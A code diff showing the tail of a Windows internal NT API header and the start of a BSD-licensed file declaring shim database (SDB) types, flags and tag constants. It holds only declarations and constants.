||||
(NTAPI *PIO_APC_ROUTINE) (
|
||||
IN PVOID ApcContext,
|
||||
IN PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG Reserved
|
||||
);
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION {
|
||||
PVOID Reserved1;
|
||||
_PPEB PebBaseAddress;
|
||||
PVOID Reserved2[2];
|
||||
ULONG_PTR UniqueProcessId;
|
||||
PVOID Reserved3;
|
||||
} PROCESS_BASIC_INFORMATION;
|
||||
typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION {
|
||||
LARGE_INTEGER IdleTime;
|
||||
LARGE_INTEGER KernelTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER Reserved1[2];
|
||||
ULONG Reserved2;
|
||||
} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_PROCESS_INFORMATION {
|
||||
ULONG NextEntryOffset;
|
||||
BYTE Reserved1[52];
|
||||
PVOID Reserved2[3];
|
||||
HANDLE UniqueProcessId;
|
||||
PVOID Reserved3;
|
||||
ULONG HandleCount;
|
||||
BYTE Reserved4[4];
|
||||
PVOID Reserved5[11];
|
||||
SIZE_T PeakPagefileUsage;
|
||||
SIZE_T PrivatePageCount;
|
||||
LARGE_INTEGER Reserved6[6];
|
||||
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION {
|
||||
ULONG RegistryQuotaAllowed;
|
||||
ULONG RegistryQuotaUsed;
|
||||
PVOID Reserved1;
|
||||
} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_BASIC_INFORMATION {
|
||||
BYTE Reserved1[24];
|
||||
PVOID Reserved2[4];
|
||||
CCHAR NumberOfProcessors;
|
||||
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_TIMEOFDAY_INFORMATION {
|
||||
BYTE Reserved1[48];
|
||||
} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_PERFORMANCE_INFORMATION {
|
||||
BYTE Reserved1[312];
|
||||
} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_EXCEPTION_INFORMATION {
|
||||
BYTE Reserved1[16];
|
||||
} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_LOOKASIDE_INFORMATION {
|
||||
BYTE Reserved1[32];
|
||||
} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_INTERRUPT_INFORMATION {
|
||||
BYTE Reserved1[24];
|
||||
} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;
|
||||
|
||||
typedef struct _SYSTEM_POLICY_INFORMATION {
|
||||
PVOID Reserved1[2];
|
||||
ULONG Reserved2[3];
|
||||
} SYSTEM_POLICY_INFORMATION, *PSYSTEM_POLICY_INFORMATION;
|
||||
|
||||
typedef enum _FILE_INFORMATION_CLASS {
|
||||
FileDirectoryInformation = 1
|
||||
} FILE_INFORMATION_CLASS;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessDebugPort = 7,
|
||||
ProcessWow64Information = 26,
|
||||
ProcessImageFileName = 27,
|
||||
ProcessBreakOnTermination = 29
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef enum _THREADINFOCLASS {
|
||||
ThreadIsIoPending = 16
|
||||
} THREADINFOCLASS;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemBasicInformation = 0,
|
||||
SystemPerformanceInformation = 2,
|
||||
SystemTimeOfDayInformation = 3,
|
||||
SystemProcessInformation = 5,
|
||||
SystemProcessorPerformanceInformation = 8,
|
||||
SystemInterruptInformation = 23,
|
||||
SystemExceptionInformation = 33,
|
||||
SystemRegistryQuotaInformation = 37,
|
||||
SystemLookasideInformation = 45,
|
||||
SystemPolicyInformation = 134,
|
||||
} SYSTEM_INFORMATION_CLASS;
|
||||
|
||||
//
|
||||
// Object Information Classes
|
||||
//
|
||||
|
||||
typedef enum _OBJECT_INFORMATION_CLASS {
|
||||
ObjectBasicInformation = 0,
|
||||
ObjectTypeInformation = 2
|
||||
} OBJECT_INFORMATION_CLASS;
|
||||
|
||||
//
|
||||
// Public Object Information definitions
|
||||
//
|
||||
|
||||
typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION {
|
||||
ULONG Attributes;
|
||||
ACCESS_MASK GrantedAccess;
|
||||
ULONG HandleCount;
|
||||
ULONG PointerCount;
|
||||
|
||||
ULONG Reserved[10]; // reserved for internal use
|
||||
|
||||
} PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION;
|
||||
|
||||
typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION {
|
||||
|
||||
UNICODE_STRING TypeName;
|
||||
|
||||
ULONG Reserved[22]; // reserved for internal use
|
||||
|
||||
} PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION;
|
||||
|
||||
#if (_WIN32_WINNT >= 0x0501)
|
||||
//
|
||||
// use the WTS API instead
|
||||
// WTSGetActiveConsoleSessionId
|
||||
// The active console id is cached as a volatile ULONG in a constant
|
||||
// memory location. This x86 memory location is subject to changes between
|
||||
// Windows releases. Use the WTS API to make your application resilient to
|
||||
// changes.
|
||||
//
|
||||
#define INTERNAL_TS_ACTIVE_CONSOLE_ID ( *((volatile ULONG*)(0x7ffe02d8)) )
|
||||
#endif // (_WIN32_WINNT >= 0x0501)
|
||||
|
||||
//
|
||||
// These functions are intended for use by internal core Windows components
|
||||
// since these functions may change between Windows releases.
|
||||
//
|
||||
|
||||
#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length))
|
||||
#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length))
|
||||
#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// CloseHandle
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtClose(
|
||||
IN HANDLE Handle
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// CreateFile
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtCreateFile(
|
||||
OUT PHANDLE FileHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN PLARGE_INTEGER AllocationSize OPTIONAL,
|
||||
IN ULONG FileAttributes,
|
||||
IN ULONG ShareAccess,
|
||||
IN ULONG CreateDisposition,
|
||||
IN ULONG CreateOptions,
|
||||
IN PVOID EaBuffer OPTIONAL,
|
||||
IN ULONG EaLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// CreateFile
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtOpenFile(
|
||||
OUT PHANDLE FileHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG ShareAccess,
|
||||
IN ULONG OpenOptions
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// N/A
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtRenameKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_In_ PUNICODE_STRING NewName
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// RegNotifyChangeKeyValue
|
||||
//
|
||||
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtNotifyChangeMultipleKeys(
|
||||
_In_ HANDLE MasterKeyHandle,
|
||||
_In_opt_ ULONG Count,
|
||||
_In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[],
|
||||
_In_opt_ HANDLE Event,
|
||||
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
|
||||
_In_opt_ PVOID ApcContext,
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_In_ ULONG CompletionFilter,
|
||||
_In_ BOOLEAN WatchTree,
|
||||
_Out_writes_bytes_opt_(BufferSize) PVOID Buffer,
|
||||
_In_ ULONG BufferSize,
|
||||
_In_ BOOLEAN Asynchronous
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// RegQueryValueEx
|
||||
//
|
||||
|
||||
typedef struct _KEY_VALUE_ENTRY {
|
||||
PUNICODE_STRING ValueName;
|
||||
ULONG DataLength;
|
||||
ULONG DataOffset;
|
||||
ULONG Type;
|
||||
} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY;
|
||||
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQueryMultipleValueKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries,
|
||||
_In_ ULONG EntryCount,
|
||||
_Out_writes_bytes_(*BufferLength) PVOID ValueBuffer,
|
||||
_Inout_ PULONG BufferLength,
|
||||
_Out_opt_ PULONG RequiredBufferLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// N/A
|
||||
//
|
||||
|
||||
typedef enum _KEY_SET_INFORMATION_CLASS {
|
||||
KeyWriteTimeInformation,
|
||||
KeyWow64FlagsInformation,
|
||||
KeyControlFlagsInformation,
|
||||
KeySetVirtualizationInformation,
|
||||
KeySetDebugInformation,
|
||||
KeySetHandleTagsInformation,
|
||||
MaxKeySetInfoClass // MaxKeySetInfoClass should always be the last enum
|
||||
} KEY_SET_INFORMATION_CLASS;
|
||||
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtSetInformationKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_In_ _Strict_type_match_
|
||||
KEY_SET_INFORMATION_CLASS KeySetInformationClass,
|
||||
_In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation,
|
||||
_In_ ULONG KeySetInformationLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// DeviceIoControl
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtDeviceIoControlFile(
|
||||
IN HANDLE FileHandle,
|
||||
IN HANDLE Event OPTIONAL,
|
||||
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
|
||||
IN PVOID ApcContext OPTIONAL,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG IoControlCode,
|
||||
IN PVOID InputBuffer OPTIONAL,
|
||||
IN ULONG InputBufferLength,
|
||||
OUT PVOID OutputBuffer OPTIONAL,
|
||||
IN ULONG OutputBufferLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// WaitForSingleObjectEx
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
NtWaitForSingleObject(
|
||||
IN HANDLE Handle,
|
||||
IN BOOLEAN Alertable,
|
||||
IN PLARGE_INTEGER Timeout OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// CheckNameLegalDOS8Dot3
|
||||
//
|
||||
BOOLEAN
|
||||
NTAPI
|
||||
RtlIsNameLegalDOS8Dot3(
|
||||
IN PUNICODE_STRING Name,
|
||||
IN OUT POEM_STRING OemName OPTIONAL,
|
||||
IN OUT PBOOLEAN NameContainsSpaces OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// This function might be needed for some of the internal Windows functions,
|
||||
// defined in this header file.
|
||||
//
|
||||
_When_(Status < 0, _Out_range_(>, 0))
|
||||
_When_(Status >= 0, _Out_range_(== , 0))
|
||||
ULONG
|
||||
NTAPI
|
||||
RtlNtStatusToDosError(
|
||||
NTSTATUS Status
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 APIs instead
|
||||
// GetProcessHandleCount
|
||||
// GetProcessId
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQueryInformationProcess(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PROCESSINFOCLASS ProcessInformationClass,
|
||||
OUT PVOID ProcessInformation,
|
||||
IN ULONG ProcessInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// GetThreadIOPendingFlag
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQueryInformationThread(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN THREADINFOCLASS ThreadInformationClass,
|
||||
OUT PVOID ThreadInformation,
|
||||
IN ULONG ThreadInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 APIs instead
|
||||
// GetFileInformationByHandle
|
||||
// GetFileInformationByHandleEx
|
||||
// GetProcessInformation
|
||||
// GetThreadInformation
|
||||
//
|
||||
|
||||
__kernel_entry NTSYSCALLAPI
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
NtQueryObject(
|
||||
_In_opt_ HANDLE Handle,
|
||||
_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
|
||||
_Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
|
||||
_In_ ULONG ObjectInformationLength,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 APIs instead
|
||||
// GetSystemRegistryQuota
|
||||
// GetSystemTimes
|
||||
// use the CryptoAPIs instead for generating random data
|
||||
// CryptGenRandom
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQuerySystemInformation(
|
||||
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
OUT PVOID SystemInformation,
|
||||
IN ULONG SystemInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// GetSystemTimeAsFileTime
|
||||
//
|
||||
__kernel_entry NTSTATUS
|
||||
NTAPI
|
||||
NtQuerySystemTime(
|
||||
OUT PLARGE_INTEGER SystemTime
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// LocalFileTimeToFileTime
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlLocalTimeToSystemTime(
|
||||
IN PLARGE_INTEGER LocalTime,
|
||||
OUT PLARGE_INTEGER SystemTime
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// SystemTimeToFileTime to convert to FILETIME structures
|
||||
// copy the resulting FILETIME structures to ULARGE_INTEGER structures
|
||||
// perform the calculation
|
||||
//
|
||||
BOOLEAN
|
||||
NTAPI
|
||||
RtlTimeToSecondsSince1970(
|
||||
PLARGE_INTEGER Time,
|
||||
PULONG ElapsedSeconds
|
||||
);
|
||||
|
||||
//
|
||||
// These APIs might be need for some of the internal Windows functions,
|
||||
// defined in this header file.
|
||||
//
|
||||
VOID
|
||||
NTAPI
|
||||
RtlFreeAnsiString(
|
||||
PANSI_STRING AnsiString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlFreeUnicodeString(
|
||||
PUNICODE_STRING UnicodeString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlFreeOemString(
|
||||
POEM_STRING OemString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlInitString(
|
||||
PSTRING DestinationString,
|
||||
PCSZ SourceString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlInitAnsiString(
|
||||
PANSI_STRING DestinationString,
|
||||
PCSZ SourceString
|
||||
);
|
||||
|
||||
VOID
|
||||
NTAPI
|
||||
RtlInitUnicodeString(
|
||||
PUNICODE_STRING DestinationString,
|
||||
PCWSTR SourceString
|
||||
);
|
||||
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlAnsiStringToUnicodeString(
|
||||
PUNICODE_STRING DestinationString,
|
||||
PCANSI_STRING SourceString,
|
||||
BOOLEAN AllocateDestinationString
|
||||
);
|
||||
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlUnicodeStringToAnsiString(
|
||||
PANSI_STRING DestinationString,
|
||||
PCUNICODE_STRING SourceString,
|
||||
BOOLEAN AllocateDestinationString
|
||||
);
|
||||
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlUnicodeStringToOemString(
|
||||
POEM_STRING DestinationString,
|
||||
PCUNICODE_STRING SourceString,
|
||||
BOOLEAN AllocateDestinationString
|
||||
);
|
||||
|
||||
//
|
||||
// Use the Win32 API instead
|
||||
// WideCharToMultiByte
|
||||
// set CodePage to CP_ACP
|
||||
// set cbMultiByte to 0
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlUnicodeToMultiByteSize(
|
||||
_Out_ PULONG BytesInMultiByteString,
|
||||
_In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString,
|
||||
_In_ ULONG BytesInUnicodeString
|
||||
);
|
||||
|
||||
//
|
||||
// Use the C runtime function instead
|
||||
// strtol
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlCharToInteger(
|
||||
PCSZ String,
|
||||
ULONG Base,
|
||||
PULONG Value
|
||||
);
|
||||
|
||||
//
|
||||
// use the Win32 API instead
|
||||
// ConvertSidToStringSid
|
||||
//
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
RtlConvertSidToUnicodeString(
|
||||
PUNICODE_STRING UnicodeString,
|
||||
PSID Sid,
|
||||
BOOLEAN AllocateDestinationString
|
||||
);
|
||||
|
||||
//
|
||||
// use the CryptoAPIs instead
|
||||
// CryptGenRandom
|
||||
//
|
||||
ULONG
|
||||
NTAPI
|
||||
RtlUniform(
|
||||
PULONG Seed
|
||||
);
|
||||
|
||||
|
||||
#define LOGONID_CURRENT ((ULONG)-1)
|
||||
#define SERVERNAME_CURRENT ((HANDLE)NULL)
|
||||
|
||||
typedef enum _WINSTATIONINFOCLASS {
|
||||
WinStationInformation = 8
|
||||
} WINSTATIONINFOCLASS;
|
||||
|
||||
|
||||
typedef struct _WINSTATIONINFORMATIONW {
|
||||
BYTE Reserved2[70];
|
||||
ULONG LogonId;
|
||||
BYTE Reserved3[1140];
|
||||
} WINSTATIONINFORMATIONW, *PWINSTATIONINFORMATIONW;
|
||||
|
||||
//
|
||||
// this function is implemented in winsta.dll (you need to loadlibrary to call this function)
|
||||
// this internal function retrives the LogonId (also called SessionId) for the current process
|
||||
// You should avoid using this function as it can change. you can retrieve the same information
|
||||
// Using public api WTSQuerySessionInformation. Pass WTSSessionId as the WTSInfoClass parameter
|
||||
//
|
||||
typedef BOOLEAN(WINAPI * PWINSTATIONQUERYINFORMATIONW)(
|
||||
HANDLE, ULONG, WINSTATIONINFOCLASS, PVOID, ULONG, PULONG);
|
||||
|
||||
//
|
||||
// Generic test for success on any status value (non-negative numbers
|
||||
// indicate success).
|
||||
//
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
//
|
||||
// Generic test for information on any status value.
|
||||
//
|
||||
|
||||
#ifndef NT_INFORMATION
|
||||
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
|
||||
#endif
|
||||
|
||||
//
|
||||
// Generic test for warning on any status value.
|
||||
//
|
||||
|
||||
#ifndef NT_WARNING
|
||||
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
|
||||
#endif
|
||||
|
||||
//
|
||||
// Generic test for error on any status value.
|
||||
//
|
||||
|
||||
#ifndef NT_ERROR
|
||||
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
|
||||
#endif
|
||||
|
||||
//++
|
||||
//
|
||||
// VOID
|
||||
// InitializeObjectAttributes(
|
||||
// OUT POBJECT_ATTRIBUTES p,
|
||||
// IN PUNICODE_STRING n,
|
||||
// IN ULONG a,
|
||||
// IN HANDLE r,
|
||||
// IN PSECURITY_DESCRIPTOR s
|
||||
// )
|
||||
//
|
||||
//--
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
//
|
||||
// Valid values for the Attributes field
|
||||
//
|
||||
|
||||
#define OBJ_INHERIT 0x00000002L
|
||||
#define OBJ_PERMANENT 0x00000010L
|
||||
#define OBJ_EXCLUSIVE 0x00000020L
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#define OBJ_OPENIF 0x00000080L
|
||||
#define OBJ_OPENLINK 0x00000100L
|
||||
#define OBJ_KERNEL_HANDLE 0x00000200L
|
||||
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
|
||||
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
|
||||
|
||||
//
|
||||
// Define the create disposition values
|
||||
//
|
||||
|
||||
#define FILE_SUPERSEDE 0x00000000
|
||||
#define FILE_OPEN 0x00000001
|
||||
#define FILE_CREATE 0x00000002
|
||||
#define FILE_OPEN_IF 0x00000003
|
||||
#define FILE_OVERWRITE 0x00000004
|
||||
#define FILE_OVERWRITE_IF 0x00000005
|
||||
#define FILE_MAXIMUM_DISPOSITION 0x00000005
|
||||
|
||||
//
|
||||
// Define the create/open option flags
|
||||
//
|
||||
|
||||
#define FILE_DIRECTORY_FILE 0x00000001
|
||||
#define FILE_WRITE_THROUGH 0x00000002
|
||||
#define FILE_SEQUENTIAL_ONLY 0x00000004
|
||||
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
|
||||
|
||||
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
|
||||
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
||||
#define FILE_NON_DIRECTORY_FILE 0x00000040
|
||||
#define FILE_CREATE_TREE_CONNECTION 0x00000080
|
||||
|
||||
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
|
||||
#define FILE_NO_EA_KNOWLEDGE 0x00000200
|
||||
#define FILE_OPEN_REMOTE_INSTANCE 0x00000400
|
||||
#define FILE_RANDOM_ACCESS 0x00000800
|
||||
|
||||
#define FILE_DELETE_ON_CLOSE 0x00001000
|
||||
#define FILE_OPEN_BY_FILE_ID 0x00002000
|
||||
#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000
|
||||
#define FILE_NO_COMPRESSION 0x00008000
|
||||
|
||||
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7)
|
||||
#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000
|
||||
#endif
|
||||
|
||||
#define FILE_RESERVE_OPFILTER 0x00100000
|
||||
#define FILE_OPEN_REPARSE_POINT 0x00200000
|
||||
#define FILE_OPEN_NO_RECALL 0x00400000
|
||||
#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000
|
||||
|
||||
#define FILE_VALID_OPTION_FLAGS 0x00ffffff
|
||||
#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032
|
||||
#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032
|
||||
#define FILE_VALID_SET_FLAGS 0x00000036
|
||||
|
||||
//
|
||||
// Define the I/O status information return values for NtCreateFile/NtOpenFile
|
||||
//
|
||||
|
||||
#define FILE_SUPERSEDED 0x00000000
|
||||
#define FILE_OPENED 0x00000001
|
||||
#define FILE_CREATED 0x00000002
|
||||
#define FILE_OVERWRITTEN 0x00000003
|
||||
#define FILE_EXISTS 0x00000004
|
||||
#define FILE_DOES_NOT_EXIST 0x00000005
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // (_WIN32_WINNT >= 0x0500)
|
||||
|
||||
|
||||
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
|
||||
#pragma endregion
|
||||
|
||||
#endif // _WINTERNL_
|
|
@ -0,0 +1,338 @@
|
|||
/*
|
||||
Copyright (c) 2014, Jon Erickson
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
The views and conclusions contained in the software and documentation are those
|
||||
of the authors and should not be interpreted as representing official policies,
|
||||
either expressed or implied, of the FreeBSD Project.
|
||||
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef DWORD TAGID;
|
||||
typedef DWORD TAGREF;
|
||||
typedef DWORD TAG;
|
||||
typedef PVOID PDB;
|
||||
typedef HANDLE HSDB;
|
||||
|
||||
#define HID_DOS_PATHS 0x00000001
|
||||
#define HID_DATABASE_FULLPATH 0x00000002
|
||||
#define SDB_MAX_EXES 16
|
||||
#define SDB_MAX_LAYERS 8
|
||||
#define SDB_MAX_SDBS 16
|
||||
#define SDB_DATABASE_SHIM 0x00010000
|
||||
#define SHIMREG_DISABLE_SHIM 0x00000001
|
||||
#define SHIMREG_DISABLE_APPHELP 0x00000002
|
||||
#define SHIMREG_APPHELP_NOUI 0x00000004
|
||||
#define SHIMREG_APPHELP_CANCEL 0x10000000
|
||||
#define SHIMREG_DISABLE_SXS 0x00000010
|
||||
#define SHIMREG_DISABLE_LAYER 0x00000020
|
||||
#define SHIMREG_DISABLE_DRIVER 0x00000040
|
||||
#define ATTRIBUTE_AVAILABLE 0x00000001
|
||||
#define ATTRIBUTE_FAILED 0x00000002
|
||||
#define TAGID_ROOT 0
|
||||
#define TAGID_NULL 0
|
||||
#define TAG_TYPE_NULL 0x1000
|
||||
#define TAG_TYPE_BYTE 0x2000
|
||||
#define TAG_TYPE_WORD 0x3000
|
||||
#define TAG_TYPE_DWORD 0x4000
|
||||
#define TAG_TYPE_QWORD 0x5000
|
||||
#define TAG_TYPE_STRINGREF 0x6000
|
||||
#define TAG_TYPE_LIST 0x7000
|
||||
#define TAG_TYPE_STRING 0x8000
|
||||
#define TAG_TYPE_BINARY 0x9000
|
||||
#define TAG_DATABASE (0x1 | TAG_TYPE_LIST) //Database entry.
|
||||
#define TAG_LIBRARY (0x2 | TAG_TYPE_LIST) //Library entry.
|
||||
#define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST) //Include and exclude entry.
|
||||
#define TAG_SHIM (0x4 | TAG_TYPE_LIST) //Shim entry that contains the name and purpose information.
|
||||
#define TAG_PATCH (0x5 | TAG_TYPE_LIST) //Patch entry that contains the in-memory patching information.
|
||||
#define TAG_APP (0x6 | TAG_TYPE_LIST) //Application entry.
|
||||
#define TAG_EXE (0x7 | TAG_TYPE_LIST) //Executable entry.
|
||||
#define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST) //Matching file entry.
|
||||
#define TAG_SHIM_REF (0x9| TAG_TYPE_LIST) //Shim definition entry.
|
||||
#define TAG_PATCH_REF (0xA | TAG_TYPE_LIST) //Patch definition entry.
|
||||
#define TAG_LAYER (0xB | TAG_TYPE_LIST) // Layer shim entry.
|
||||
